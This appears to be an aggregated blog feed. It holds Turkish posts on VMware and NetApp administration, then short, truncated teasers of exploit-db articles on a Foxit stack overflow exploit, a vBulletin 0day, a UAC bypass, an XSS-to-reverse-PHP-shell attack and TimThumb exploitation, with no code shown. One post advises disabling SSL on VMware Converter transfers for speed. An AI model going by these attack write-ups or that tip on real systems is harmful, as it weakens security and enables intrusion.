title: Vmware Converter 5 performans iyileştirmesi
source: http://www.aslankara.com/vmware-converter-5-performans-iyilestirmesi/
author: Erkal Aslankara
description:
<p><a href="http://www.aslankara.com/wp-content/uploads/2012/04/vmware_converter_standalone.jpg" rel="lightbox[707]"><img class=" wp-image-709 alignright" title="vmware_converter_standalone" src="http://www.aslankara.com/wp-content/uploads/2012/04/vmware_converter_standalone.jpg" alt="" width="278" height="61" /></a>Vmware Converter Standalone 5 yazılımı sayesinde P2V ve V2V işlemlerimizi yapabiliyoruz. Bu ücretsiz yazılımın son sürümünde veriyi network üzerinden taşımak için Vmware tarafında geliştirilen NFC protokolü kullanılırken güvenliği arttırmak adına SSL protokolü kullanılmış. Güvenlik ile performans kavramları genellikle ters orantılıdır, arttırılan güvenlik özellikleri genellikle performans kayıplarına neden olur. Converter 5'de aynı durum söz konusu. İlave SSL şifrelemesi P2V süresini <span style="text-decoration: underline;">2 ila 5 kat</span> arası uzatmakta. Dilersek bu SSL özelliğini kapatıp işlemi hızlandırabiliriz.</p>
<p>SSL'i disable etmek için;<span id="more-707"></span></p>
<ul>
<li>"converter-worker.xml" dosyasını açın. Bu dosya şurada bulunuyor;</li>
<ul>
<li>Vista ve sonrasında &gt; “%ALLUSERSPROFILE%\VMware\VMware vCenter Converter Standalone”</li>
<li>Daha eski Windows sürümlerinde &gt; “%ALLUSERSPROFILE%\Application Data\VMware\VMware vCenter Converter Standalone”</li>
</ul>
<li>Config&gt;nfc&gt;useSsl değerini false olarak değiştirip, kaydedin.</li>
<li>“VMware vCenter Converter Standalone Worker” servisini restart edin.</li>
</ul>
<p>Hepsi bu kadar.</p>
<p><a href="http://www.aslankara.com/wp-content/uploads/2012/04/converter-worker-xml.jpg" rel="lightbox[707]"><img class="aligncenter size-full wp-image-708" title="converter-worker-xml" src="http://www.aslankara.com/wp-content/uploads/2012/04/converter-worker-xml.jpg" alt="" width="619" height="376" /></a></p>
<p>&nbsp;</p>


title: Kendi bilgisayarınızda vSphere Lab’ı kurun
source: http://www.aslankara.com/kendi-bilgisayarinizda-vsphere-lab-i-kurun/
author: Erkal Aslankara
description:
<p>Vmware vSphere 5 ürünü üzerinde eğitim ya da demo yapmak amacıyla hazır bir sisteme ihtiyaç duyuyor olabilirsiniz. En az 2 adet esxi host ve 1 adet storage ile ortalama bir vSphere altyapısı kurup testlerimizi yapabiliriz ama bu da herkesin sahip olabileceği bir kaynak değil. Sanallaştırmayı yine sanal ortamda test etmek mümkün, bununla ilgili çeşitli yazılar paylaştım yine bu blogda. Ancak bu işi otomatize ve basit bir hale getirip bizim için hazırlayan labguides.com sitesi var. Siteden Vmware vSphere 5 labını download edip hızlı bir şekilde kurup çalışmaya başlayabilirsiniz.</p>
<p><a href="http://www.labguides.com/autolab/">http://www.labguides.com/autolab/</a></p>
<p>Bu siteden indirdiğimiz paketin içinde neler olduğunu ve nasıl kuracağınızı da şu guide'da bulabilirsiniz.</p>
<p><a href="http://www.labguides.com/downloads/vSphere%205_AutoLab_V0_5.pdf">http://www.labguides.com/downloads/vSphere%205_AutoLab_V0_5.pdf</a></p>
<p>&nbsp;</p>


title: Sanal dünyada disk alignment sorunu
source: http://www.aslankara.com/sanal-dunyada-disk-alignment-sorunu/
author: Erkal Aslankara
description:
<p>Bu yazıda kısaca disk alignment sorunundan ve nasıl başa çıkacağımızdan bahsetmeye çalışacağım. Öncelikle problemin ne olduğuna ve kimleri etkilediğine açıklık getirelim.</p>
<p>Geleneksel olarak diskler üzerinde adresleme/formatlama işlemleri için<a href="http://en.wikipedia.org/wiki/Cylinder-head-sector"> Cylinder/Head/Sector(CHS)</a> mantığı kullanılır. Disk üzerindeki plakalarda yapılan bu mantıksal adresleme işlemi üzerinden veriler yazılır ve okunur. Fakat günümüz teknolojisinde kurumsal ortamlarda disklerin yerini alan depolama üniteleri ile birlikle bu işlem de dikkat edilmesi gereken bazı farklılıklar mevcut. Depolama ünitelerinde tek bir diski bir sunucuya atamak yerine, diskler üzerinde oluşturduğumuz bir veri havuzundan belirlediğimiz bir miktarı (LUN) sunucuya atıyoruz. LUN aslında mantıksal olarak diski temsil eden kavramdır. Fakat bu mantıksal disklerin CHS yapıları storage ünitesinin yazılımı tarafından yine mantıksal olarak oluşturulurlar ve gerçekte arka planda her disk için ayrı ayrı adresleme yine depolama ünitesi tarafından yapılmaktadır.  Fiziksel disklerde standart olarak partition'ların 63. sektörden başlayacaktır çünkü sistemin açılması için gerekli MBR alanı 63 sektör kaplamaktadır. Geleneksel fiziksel diskler her zaman 512 byte bloklar bulunur. Ancak depolama üniteleri performans ve verimlilik gibi nedenlerden ötürü genellikle daha yüksek blok boyutları kullanırlar. (NetApp 4KB, EMC 64KB gibi) Hala kullanımda olan bir çok işletim sistemi ilk partition'ı oluştururken partition başlangıç sektörü olarak 63 seçerler. Bu işletim sistemlerine örnek olarak Windows 2003/2000/XP ve çeşitli linux türevleri verilebilir.</p>
<p>Buraya kadarki bilgilerin ışığında aşağıdaki probleme göz atalım. Örnek bir sistem düşünelim; Windows 2003 çalıştırıyor ve bir storage'daki LUN'u kullanıyor. Bu durumda aşağıdaki gibi bir durum oluşacaktır. <a href="http://www.aslankara.com/wp-content/uploads/2012/05/unaligned_ntfs.jpg" rel="lightbox[715]"><img class="aligncenter size-full wp-image-718" title="unaligned_ntfs" src="http://www.aslankara.com/wp-content/uploads/2012/05/unaligned_ntfs.jpg" alt="" width="494" height="69" /></a></p>
<p><span id="more-715"></span>Windows üzerinde oluşturulan NTFS partition'ın cluster'ları SAN'deki LUN'un disk chunk'larına bire bir örtüşmeyecektir. Aslında bunun sebebi partition'un 63. sektörden başlamasıdır. Örneğin yukarıdaki şekilde görülen 3. cluster'ın yazılması için 2 disk chunk'ına da yazılması gerekir ve bu ekstra disk IO'su demektir.</p>
<p>Araya bir de sanallaştırma katmanının girdiği durumda ise işlem biraz daha karışık hale gelir. VMFS'de partition ve sanal makinayı ayrı ayrı düşünmek gerekir.</p>
<p><a href="http://www.aslankara.com/wp-content/uploads/2012/05/unaligned_vmfs.jpg" rel="lightbox[715]"><img class="aligncenter size-full wp-image-719" title="unaligned_vmfs" src="http://www.aslankara.com/wp-content/uploads/2012/05/unaligned_vmfs.jpg" alt="" width="494" height="101" /></a></p>
<p>Buradaki sorun daha büyüktür. Böyle bir yapıda 3. cluster'a yakından bakacak olursak.<a href="http://www.aslankara.com/wp-content/uploads/2012/05/unaligned_vmfs_extra_io1.jpg" rel="lightbox[715]"><img class="aligncenter size-full wp-image-723" title="unaligned_vmfs_extra_io" src="http://www.aslankara.com/wp-content/uploads/2012/05/unaligned_vmfs_extra_io1.jpg" alt="" width="380" height="101" /></a>Bir cluster'ın yazılması için 3 adet chunk'a yazmak gerekmektedir. Çünkü hem VMFS partition LUN üzerine doğru align edilmemiş, hem de sanal makinanın diski içindeki NTFS doğru align edilmemiştir.</p>
<p>Oysaki beklenen yapı şöyle olmalıdır;<a href="http://www.aslankara.com/wp-content/uploads/2012/05/aligned_vmfs.jpg" rel="lightbox[715]"><img class="aligncenter size-full wp-image-716" title="aligned_vmfs" src="http://www.aslankara.com/wp-content/uploads/2012/05/aligned_vmfs.jpg" alt="" width="477" height="109" /></a></p>
<p>Burada her bir cluster tek bir chunk'a isabet etmektedir. Ek IO yükü oluşturacak bir durumdan söz edilemez.</p>
<h2>Disk Alignment sorunu nasıl tespit edilir</h2>
<p>Bu sorunu tespit etmek işletim sistemine göre farklılık gösterir. Öncelikle VMware tafarına bakıldığında VMFS3 ve VMFS5'de alignment sorunu yoktur. VMFS2 olarak oluşturulmuş ve upgrade edilerek devam edilmiş LUN'lar var ise bunlarda sorun vardır. En basit ve temiz yöntem bu LUN üzerindeki datastore'u silip yeni versiyon olarak tekrar oluşturmaktır.</p>
<p>Windows tarafında 2003 ve öncesinde bu sorun oluşmaktadır. Bunu tespit etmenin en kolay yolu msinfo32 uygulamasını çalıştırmaktır. Bu uygulama tüm Windows sürümlerinde bulunur ve "Start/Run" a "msinfo32" yazılarak başlatılabilir. Windows 2003 bir sistemden aldığım çıktı şu şekildedir. <a href="http://www.aslankara.com/wp-content/uploads/2012/05/windows_2003_msinfo_partition_starting_offset.jpg" rel="lightbox[715]"><img class="aligncenter size-medium wp-image-725" title="windows_2003_msinfo_partition_starting_offset" src="http://www.aslankara.com/wp-content/uploads/2012/05/windows_2003_msinfo_partition_starting_offset-300x174.jpg" alt="" width="300" height="174" /></a></p>
<p>Bu uygulama ile Components\Storage\Disk altından her bir disk için "Partition Starting Ofset" değeri görülebilir. Windows Vista ve üstünde bu sorun giderilmiştir ve partition'lar 1MB'dan başlamaktadır.</p>
<h2>Disk Alignment sorunu nasıl düzeltilir</h2>
<p>Bunu düzeltmenin çok kolay bir yolu yoktur. Düzeltmek için izlenebilecek yöntemler şunlardır.</p>
<ul>
<li>Storage üreticilerinin sağladığı araçları kullanmak (örn; mbralign)</li>
<li>Diskleri tekrar oluşturup doğru şekilde align etmek</li>
<li>Vmware vCenter Standalone Converter 5 ile P2v ya da V2V yapmak</li>
<li>vs..</li>
</ul>
<p>Burada üzerinde durmak istediğim Windows 2003 tarafında yeni bir diskin nasıl doğru align edilerek oluşturulabileceği ve Converter kullanımı.</p>
<p>Windows 2003 ile bir diski doğru şekilde align etmek için partition'u diskpart komut satırı tool'u ile oluşturmalısınız. Aşağıda bir örnek görebilirsiniz.</p>
<p><a href="http://www.aslankara.com/wp-content/uploads/2012/05/diskpart_disk_alignment_1.jpg" rel="lightbox[715]"><img class="aligncenter size-medium wp-image-726" title="diskpart_disk_alignment_1" src="http://www.aslankara.com/wp-content/uploads/2012/05/diskpart_disk_alignment_1-300x123.jpg" alt="" width="300" height="123" /></a></p>
<p>Bu sayede partition doğru şekilde align edilmiş olacak.</p>
<p>Eğer bir Windows 2003 sunucuyu P2v yapıyorsanız artık bu işlem çok daha kolay. Sadece P2V değil elbette, hali hazırdaki sanal 2003 sunucularda da yukarıdaki anlattığım yöntemle yeni diskler oluşturup veriyi taşımak istemezseniz, Converter programı ile V2V yaparak bu sorunu giderebilirsiniz.</p>
<p><a href="http://www.aslankara.com/wp-content/uploads/2012/05/converter_alignmet_optimization.png" rel="lightbox[715]"><img class="aligncenter size-medium wp-image-727" title="converter_alignmet_optimization" src="http://www.aslankara.com/wp-content/uploads/2012/05/converter_alignmet_optimization-300x228.png" alt="" width="300" height="228" /></a></p>
<p>Converter 5 ile beraber hayatımıza giren bu kutucuk sayesinde oluşacak olan disklerdeki alingment sorunu otomatik olarak düzeltilecektir.</p>
<p>Fazla detaya girmeden anlatmaya çalıştığım bu yazım umarım faydalı olur.</p>
<p>Daha detaylı bilgi için;</p>
<p><a href="http://media.netapp.com/documents/tr-3747.pdf">http://media.netapp.com/documents/tr-3747.pdf</a></p>


title: VMware View 5.1 duyuruldu
source: http://www.aslankara.com/vmware-view-5-1-duyuruldu/
author: Erkal Aslankara
description:
<p><a href="http://www.aslankara.com/wp-content/uploads/2012/05/vmware_view.jpg" rel="lightbox[740]"><img class="alignright size-full wp-image-743" title="vmware_view" src="http://www.aslankara.com/wp-content/uploads/2012/05/vmware_view.jpg" alt="" width="181" height="56" /></a>Desktop sanallaştırması ürünü Vmware View için yeni minör sürüm olan 5.1 <a href="http://blogs.vmware.com/euc/2012/05/whats-new-in-view-51.html" target="_blank">duyuruldu</a>. Bu sürüm ile birlikte gelen iyileştirmeler şunlar;</p>
<ul>
<li>USB redirection altyapısı yeniden tasarlandı</li>
<li>View Storage Accelerator modülü eklendi (CBRC)</li>
<li>Radius kimlik doğrulaması</li>
<li>Yeni client yazılımları</li>
<li>PCoIP (network ve cpu) iyileştirmeleri</li>
<li>View Administrator ekranı artık daha hızlı</li>
<li>Fiziksel makinalar için Persona Management</li>
<li>XP’den Win7’ye upgrade için Persona Management migration tool</li>
<li>Standalone View Composer Server</li>
<li>Birkaç küçük iyileştirme daha…</li>
</ul>
<p>Açıkçası benim için göze çarpan en önemli yenilik <strong>View Storage Accelerator</strong> oldu. Bunu, vSphere 5 ile birlikte ortaya çıkan CBRC(Content Based Read Cache) özelliğinin View üzerinde hayat bulmuş hali olarak düşünebiliriz. Özellikle VDI ortamları için geliştirilmiş CBRC özelliği disk üzerindeki master VDI imajlarının sık kullanılan bloklarını önceden RAM'e yükleyerek çok daha hızlı cevap vermesine olanak tanır. View kurulumlarında bootstorm'ların önüne geçmek ve toplam IOPS ihtiyacını düşürmek için kullanılmaktadır.</p>
<p>VMware tarafından yapılan bir <a href="http://blogs.vmware.com/euc/2012/05/optimizing-storage-with-view-storage-accelerator.html" target="_blank">test</a> sonucunda View Storage Accelerator ile ortaya çıkan kazanım şu şekilde raporlanmış.</p>
<ul>
<li>Peak IOPS’da 80% azalma</li>
<li>Ortalama IOPS’da %45 azalma</li>
<li>Peak throughput’da %65 azalma</li>
<li>Average throughput’da %25 azalma</li>
</ul>
<p>Ayrıca View 5.1 ile bilirlikte View Composer API for Array Integration (VCAI) özelliği "tech preview" olarak karşımızda. Bu özellik ile Linked Clone oluşturmak için storage ünitesi seviyesinde snapshot'ları kullanabileceğiz. Bu sayede daha hızlı ve efektif bir şekilde Linked Clone'lar oluşturabileceğiz. Henüz "tech preview" aşamasında olan bu özellik production ortamlarda desteklenmiyor. Bu özelliği test etmek için aşağıdaki şartları sağlamak gerekli.</p>
<ul>
<li>VMware View 5.1</li>
<li>VMware vSphere 5.0 ve sonrası</li>
<li>VAAI destekleyen NAS cihazı</li>
<li>View Cluster'ındaki vSphere sunucular için NAS cihazı üretici tarafından sağlanan plug-in</li>
</ul>
<p>VCAI hakkında detaylı bilgi için NetApp tarafından sağlanan şu makaleye göz atılabilir.</p>
<p><a href="https://communities.netapp.com/community/netapp-blogs/virtualization/blog/2012/05/02/vmware-view-51-view-storage-accelerator">https://communities.netapp.com/community/netapp-blogs/virtualization/blog/2012/05/02/vmware-view-51-view-storage-accelerator</a></p>


title: VMware vSphere ortamında VLAN kavramı
source: http://www.aslankara.com/vmware-vsphere-ortaminda-vlan-kavrami/
author: Erkal Aslankara
description:
<p>Bu sıralar çok sorulan sorulara cevap niteliğinde bazı başlıklarda kısa kısa yazılar yazmaya çalışıyorum. Bu da onlardan bir tanesi. Sanal sunucularımızda fiziksel ortamımızdaki VLAN ayarlarını uygulamak için çeşitli yöntemler mevcut. Her yöntemin kendi içinde eksi ve artıları bulunmakta. Bu yazıda kısa kısa bu yöntemlerden bahsetmeye çalışacağım.</p>
<p>VLAN ayarlarını üç farklı yöntem ile gerçekleştirebiliyoruz.</p>
<ul>
<li>External Switch Tagging (EST)</li>
<li>Virtual Switch Tagging (VST)</li>
<li>Virtual Guest Tagging (VGT)</li>
</ul>
<p>Sırayla açıklık getirelim.</p>
<p><span id="more-755"></span></p>
<h4>External Switch Tagging (EST)</h4>
<p>Öncelikle bir çizim üzerinde görelim.</p>
<p><a href="http://www.aslankara.com/wp-content/uploads/2012/05/external_switch_tagging.png" rel="lightbox"><img style="background-image: none; padding-left: 0px; padding-right: 0px; display: block; float: none; margin-left: auto; margin-right: auto; padding-top: 0px; border: 0px;" title="external_switch_tagging" src="http://www.aslankara.com/wp-content/uploads/2012/05/external_switch_tagging_thumb.png" alt="external_switch_tagging" width="214" height="260" border="0" /></a></p>
<p>Bu yöntem ile ESXi tarafında herhangi bir ayar yapılmaz. Fiziksel dünyadaki her bir VLAN için ESXi içinde bir vSwitch oluşturulur. Sonrasında fiziksel switch’den vSwitch’e doğru giden linkler access portu olarak ayarlanır ve ilgili VLAN tag’lemesi fiziksel switch seviyesinde yapılır. Bu yöntemde Port Group’lara VLAN ID girilmez (“0” olarak bırakılır). Sanal makinalar hangi vSwitch’e bağlı ise o VLAN ile görüşebilecek demektir. Sık tercih edilen bir yöntem olmasa da ESXi tarafında konfigürasyon gerektirmediği için zaman zaman kullanılır.</p>
<h4>Virtual Switch Tagging (VST)</h4>
<p>Yine bir çizim ile izah edelim.</p>
<p><a href="http://www.aslankara.com/wp-content/uploads/2012/05/virtual_switch_tagging.png" rel="lightbox"><img style="background-image: none; padding-left: 0px; padding-right: 0px; display: block; float: none; margin-left: auto; margin-right: auto; padding-top: 0px; border: 0px;" title="virtual_switch_tagging" src="http://www.aslankara.com/wp-content/uploads/2012/05/virtual_switch_tagging_thumb.png" alt="virtual_switch_tagging" width="214" height="260" border="0" /></a></p>
<p>En çok tercih edilen yöntem bu olsa gerek. Bu yöntemde switch üzerindeki portlar trunk olarak ayarlanır. Tüm VLAN’lar böylece vSwitch’lere kadar ulaşmış olur. vSwitch içindeki ayrım için ise PortGroup’lar kullanılır. Her bir PortGroup’a 1-4094 arasında bir VLAN ID’si atanır. Böylece dış dünyadaki VLAN’ımız 802.1q protokolünü destekleyen ESXi’larımız üzerinde kullanılabilir hale gelir. En esnek ve kullanışlı yöntem budur.</p>
<h4>Virtual Guest Tagging (VGT)</h4>
<p>Son çizim de özel ihtiyaçlar haricinde pek kullanılmayan VGT yöntemi için…</p>
<p><a href="http://www.aslankara.com/wp-content/uploads/2012/05/virtual_guest_tagging.png" rel="lightbox"><img style="background-image: none; padding-left: 0px; padding-right: 0px; display: block; float: none; margin-left: auto; margin-right: auto; padding-top: 0px; border: 0px;" title="virtual_guest_tagging" src="http://www.aslankara.com/wp-content/uploads/2012/05/virtual_guest_tagging_thumb.png" alt="virtual_guest_tagging" width="214" height="260" border="0" /></a></p>
<p>Bu yöntemde fiziksel switch üzerindeki portlar trunk durumdadır. Tüm VLAN’lar içeri doğru akar. PortGroup’lar üzerinde VLAN ID olarak 4095 ayarlanmış olmalıdır ki bu ayar ilgili PortGroup’ların da bir nevi trunk gibi davranarak tüm VLAN’leri sanal makinalara kadar iletmesini sağlar. Böyle bir senaryoda VLAN tagging işlemiş sanal makina seviyesinde yapılmalıdır. Ancak default ayarlar buna müsade etmeyebilir. Bunu yapabilmek için guest OS’in desteklemesi ve 802.1q destekleyen uygun bir driver yüklü olması gerekir. Ayrıca vNic mutlaka E1000 olmalıdır. Çok sık kullanılar bir çözüm değildir.</p>
<p>Yukarıdaki 3 yöntemden genel olarak taviye edebileceğimiz yöntem VST’dir. Özel bir gereksinim olmadıkça VST kullanılması tavsiye edilir.</p>


title: NetApp LUN resize işleminde “10 katı” limiti
source: http://www.aslankara.com/netapp-lun-resize-isleminde-10-kati-limiti/
author: Erkal Aslankara
description:
<p>NetApp depolama sisteminiz üzerinde bir LUN’u resize etmeye çalışırken aşağıdaki gibi bir uyarı ile karşılaşabilirsiniz.</p>
<p><a href="http://www.aslankara.com/wp-content/uploads/2012/05/netapp_lun_resize_error.png" rel="lightbox"><img style="background-image: none; padding-left: 0px; padding-right: 0px; display: block; float: none; margin-left: auto; margin-right: auto; padding-top: 0px; border-width: 0px;" title="netapp_lun_resize_error" src="http://www.aslankara.com/wp-content/uploads/2012/05/netapp_lun_resize_error_thumb.png" alt="netapp_lun_resize_error" width="260" height="57" border="0" /></a></p>
<p>Aslında bunun sebebi ONTAP’ın LUN’ları oluştururken kullandığı disk geometrisidir. ONTAP oluşturduğunuz LUN’un boyutuna göre, <strong>her 50GB'da bir</strong> farklı bir geometri kullanır. Sahip olduğunuz LUN’ların disk geometrisini görmek için “lun geometry [lun_adı]” komutunu kullanabilirsiniz. Bu komut diagnostic modda(“priv set diag”) çalışır. Bu komut ile aynı zamanda her bir LUN için maksimum boyutu da görüntüleyebilirsiniz.</p>
<p>Aşağıdaki ekren görüntüsünde ilk LUN 51GB ikinci LUN ise 100GB boyutunda.<span id="more-766"></span></p>
<p><a href="http://www.aslankara.com/wp-content/uploads/2012/05/lun_geometry.png" rel="lightbox"><img style="background-image: none; padding-left: 0px; padding-right: 0px; display: block; float: none; margin-left: auto; margin-right: auto; padding-top: 0px; border-width: 0px;" title="lun_geometry" src="http://www.aslankara.com/wp-content/uploads/2012/05/lun_geometry_thumb.png" alt="lun_geometry" width="260" height="191" border="0" /></a></p>
<p>Görüldüğü üzere iki LUN’un da max resize boyutu aynı. Eğer 101GB’lık bir LUN oluşturursak “lun geometry” komut çıktısı şöyle olur.</p>
<p><a href="http://www.aslankara.com/wp-content/uploads/2012/05/lun_geometry_101.png" rel="lightbox"><img style="background-image: none; padding-left: 0px; padding-right: 0px; display: block; float: none; margin-left: auto; margin-right: auto; padding-top: 0px; border-width: 0px;" title="lun_geometry_101" src="http://www.aslankara.com/wp-content/uploads/2012/05/lun_geometry_101_thumb.png" alt="lun_geometry_101" width="260" height="110" border="0" /></a></p>
<p>…ve 150GB’a kadar oluşacak tüm LUN’lar aynı “max resize size” değerine sahip olacaktır.</p>
<p>LUN oluştururken buna dikkat etmeli ve nereye kadar büyütebileceğimizi bilmeliyiz. Sonradan kötü sürprizlerle karşılamamak için LUN boyutunu baştan uygun şekilde ayarlamalıyız.</p>
<p>Aşağıdaki tablo size bu konuda bir fikir verecektir.</p>
<table style="line-height: 20px; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; letter-spacing: normal; white-space: normal; orphans: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;" width="400" border="1" cellspacing="0" cellpadding="2" align="center">
<tbody>
<tr>
<td style="background-color: transparent; border-right-style: none; padding: 2px;" valign="top" width="199"><strong><span style="font-family: Arial;"><span style="font-size: 9pt; color: #333333;">LUN Boyutu</span></span></strong></td>
<td style="background-color: transparent; border-right-style: none; padding: 2px;" valign="top" width="199"><strong><span style="font-family: Arial;"><span style="font-size: 9pt; color: #333333;">Maximum Resize Boyutu</span></span></strong></td>
</tr>
<tr>
<td style="background-color: transparent; border-right-style: none; padding: 2px;" valign="top" width="199"><span style="font-family: Arial;"><span style="font-size: 9pt; color: #333333;">&lt; 50g</span></span></td>
<td style="background-color: transparent; border-right-style: none; padding: 2px;" valign="top" width="199"><span style="font-family: Arial;"><span style="font-size: 9pt; color: #333333;">502g</span></span></td>
</tr>
<tr>
<td style="background-color: transparent; border-right-style: none; padding: 2px;" valign="top" width="199"><span style="font-family: Arial;"><span style="font-size: 9pt; color: #333333;">51-100g</span></span></td>
<td style="background-color: transparent; border-right-style: none; padding: 2px;" valign="top" width="199"><span style="font-family: Arial;"><span style="font-size: 9pt; color: #333333;">1004g</span></span></td>
</tr>
<tr>
<td style="background-color: transparent; border-right-style: none; padding: 2px;" valign="top" width="199"><span style="font-family: Arial;"><span style="font-size: 9pt; color: #333333;">101-150g</span></span></td>
<td style="background-color: transparent; border-right-style: none; padding: 2px;" valign="top" width="199"><span style="font-family: Arial;"><span style="font-size: 9pt; color: #333333;">1506g</span></span></td>
</tr>
<tr>
<td style="background-color: transparent; border-right-style: none; padding: 2px;" valign="top" width="199"><span style="font-family: Arial;"><span style="font-size: 9pt; color: #333333;">151-200g</span></span></td>
<td style="background-color: transparent; border-right-style: none; padding: 2px;" valign="top" width="199"><span style="font-family: Arial;"><span style="font-size: 9pt; color: #333333;">2008g</span></span></td>
</tr>
<tr>
<td style="background-color: transparent; border-right-style: none; padding: 2px;" valign="top" width="199"><span style="font-family: Arial;"><span style="font-size: 9pt; color: #333333;">201-251g</span></span></td>
<td style="background-color: transparent; border-right-style: none; padding: 2px;" valign="top" width="199"><span style="font-family: Arial;"><span style="font-size: 9pt; color: #333333;">2510g</span></span></td>
</tr>
<tr>
<td style="background-color: transparent; border-right-style: none; padding: 2px;" valign="top" width="199"><span style="font-family: Arial;"><span style="font-size: 9pt; color: #333333;">252-301g</span></span></td>
<td style="background-color: transparent; border-right-style: none; padding: 2px;" valign="top" width="199"><span style="font-family: Arial;"><span style="font-size: 9pt; color: #333333;">3012g</span></span></td>
</tr>
<tr>
<td style="background-color: transparent; border-right-style: none; padding: 2px;" valign="top" width="199"><span style="font-family: Arial;"><span style="font-size: 9pt; color: #333333;">302-351g</span></span></td>
<td style="background-color: transparent; border-right-style: none; padding: 2px;" valign="top" width="199"><span style="font-family: Arial;"><span style="font-size: 9pt; color: #333333;">3514g</span></span></td>
</tr>
<tr>
<td style="background-color: transparent; border-right-style: none; padding: 2px;" valign="top" width="199"><span style="font-family: Arial;"><span style="font-size: 9pt; color: #333333;">352-401g</span></span></td>
<td style="background-color: transparent; border-right-style: none; padding: 2px;" valign="top" width="199"><span style="font-family: Arial;"><span style="font-size: 9pt; color: #333333;">4016g</span></span></td>
</tr>
</tbody>
</table>


title: NetApp Flash Pool
source: http://www.aslankara.com/netapp-flash-pool/
author: Erkal Aslankara
description:
<p>NetApp yakın zamanda Data ONTAP 8.1.1 sürümünü yayınlayacak. Bu sürüm ile birlikte eklenecek yeni özelliklerden birisi de Flash Pool özelliği. Bu özellik sayesinde SSD ve HDD’lerden oluşan Hybrid Aggregate’ler yapmak mümkün olacak. NetApp Virtual Storage Tier yapısında yeni bir yaklaşım olarak karşımıza çıkacak olan bu yöntemde SSD diskler caching amaçlı olarak kullanılacak. Flash Cache özelliğinin aksine Flash Pool için eklenen SSD’ler hem okuma hem de yazma cache’i olarak kullanılabilecek. NetApp SSD diskleri ayrı bir katman olarak kullanarak, sık okunup yazılan datayı SSD’ye taşıyan üreticilerin izlediği yolu izlemek yerine, özel bir algoritma kullanarak, SSD diskleri sadece cache olarak kullanacak.</p>
<p>SSD+SATA ya da SSD+SAS şeklinde aggr’ler oluşturulabilecek ancak, SSD+SAS+SATA şeklinde üç disk türünü birleştirmek mümkün olmayacak. Ayrıca SAS+SATA şeklinde bir hybrid_aggr oluşturmak da mümkün değiil. DS4243 disk shelf'leri üzerinde SATA ve SSD diskleri karışık kullanmak mümkün olacak. Ancak SAS disklerle diğer türleri karışık kullanmak mümkün değil.</p>
<p>Var olan 64bit aggr’ler Flash Pool’a convert edilebilecek ya da yeni aggr oluşturulurken de Flash Pool olarak oluşturulabilecek. <em>hybrid_enable</em> diye anılan aggr opsiyonu ile kontrol edilebilecek.</p>
<p>Tüm Flash Pool içinde Volume bazlı policy’ler ile cache kontrolü mümkün olacak. <em>priority hybrid_cache</em> komutu ile yönetilebilecek.</p>
<p>Ayrıca ONTAP 8.1.1 SSD cache üzerinde TRIM işlemleri yapabilecek.</p>


title: Google Hacking Database Reborn
source: http://www.exploit-db.com/google-hacking-database-reborn/
author: admin
description:
The incredible amount of information continuously leaked onto the Internet, and therefore accessible by Google, is of great use to penetration testers around the world.  Johnny Long of Hackers for Charity started the Google Hacking Database (GHDB) to serve as a repository for search terms, called Google-Dorks, that expose sensitive information, vulnerabilities, passwords, and much [...]


title: Foxit Reader Stack Overflow Exploit – Egghunter Edition
source: http://www.exploit-db.com/foxit-reader-stack-overflow-exploit-egghunter/
author: dookie2000ca
description:
Some time ago, when Adobe Reader 0days were dropping left, right, and centre, Foxit Reader was frequently mentioned as a safer alternative to using Adobe. While it may be true that there are not as many exploits available for Foxit, that does not mean that it is invincible. With this in mind, I decided to [...]


title: vBulletin – A Journey Into 0day Exploitation
source: http://www.exploit-db.com/vbulletin-a-journey-into-0day-exploitation/
author: MaXe
description:
The popular vBulletin software is generally a quite secure forum application if you exclude the minimal amount of vulnerable addons. However, when new features are occasionally included, such as Profile Customization, a new vulnerability might be born. In the actual customization feature it is possible to supply color codes such as: #000000, RGB codes like rgb(255, [...]


title: Fuzzing vs Reversing – Round #1 (Fuzzing)
source: http://www.exploit-db.com/fuzzing-vs-reversing-round-1-fuzzing/
author: zelik
description:
I have recently been doing some fuzzing on the Adobe Flash Player. I started by implementing a simple format fuzzer for Flash based on a homegrown framework that I have been developing for awhile. I implemented and executed tests and progressively covered more and more of the format. After a few days, I noticed one of [...]


title: Fuzzing vs Reversing – Round #2 (Reversing)
source: http://www.exploit-db.com/fuzzing-vs-reversing-round-2-reversing/
author: zelik
description:
After a few days of fuzzing, I noticed that I covered a large part of the format (at least the part I found interesting) so I then began reverse engineering the format more thoroughly. I started by mapping out the tag-types and reviewing functions that parse them. After I spent a few hours just poking [...]


title: Bypassing UAC with User Privilege under Windows Vista/7 – Mirror
source: http://www.exploit-db.com/bypassing-uac-with-user-privilege-under-windows-vista7-mirror/
author: admin
description:
Introduction I would like to present an exploit of an ambiguous parameter in Windows kernel API that leads to buffer overflows under nearly every version of Microsoft Windows, especially one that can be used as a backdoor to Windows user privilege system as well as User Access Control. The starring API would be RtlQueryRegistryValues, it [...]


title: Google Hacking Database Updates
source: http://www.exploit-db.com/google-hacking-database-updates/
author: dookie2000ca
description:
Since we took up the torch of the Google Hacking Database from Johnny Long, we have introduced some changes that we feel provides a great deal of added value to our database of dorks. To make it easier for our visitors to identify changes in the database, there is a &#8216;New&#8217; graphic that will appear [...]


title: Owned and Exposed
source: http://www.exploit-db.com/owned-and-exposed/
author: admin
description:
There&#8217;s nothing like having your butt kicked Christmas morning, which is exactly what happened to us today. We were owned and exposed, in true fashion. Initially, the inj3ct0r team took &#8220;creds&#8221; for the hack, which quickly proved false as the original ezine showed up &#8211; and now inj3ct0r (their new site) is no longer online. [...]


title: vbSEO – From XSS to Reverse PHP Shell
source: http://www.exploit-db.com/vbseo-from-xss-to-reverse-php-shell/
author: MaXe
description:
XSS is not a big deal, or is it? On many occasions, I&#8217;ve seen this vulnerability being classified as useless, not serious, and being a low threat. What I&#8217;ve always had in mind is that it&#8217;s only the capabilities of the browser, and the hackers mind which sets the limit for a XSS attack. It [...]


title: WordPress TimThumb Exploitation
source: http://www.exploit-db.com/wordpress-timthumb-exploitation/
author: MaXe
description:
<p style="text-align: justify">One of the biggest blogging platforms, which can easily be extended with vulnerable addons, to support a variety of functions - From CMS's to pretty much anything. Within some web applications, themes may contain variables that refer to dynamic elements, while in others like WordPress - Insecure PHP files used for caching and resizing images, are surprisingly quite common.</p>


title: Intro to DOCSIS Architecture, CM CMTS Protocol for Cable Modems
source: http://feedproxy.google.com/~r/TheGeekStuff/~3/lgOJDzFoqXg/
author: Himanshu Arora
description:
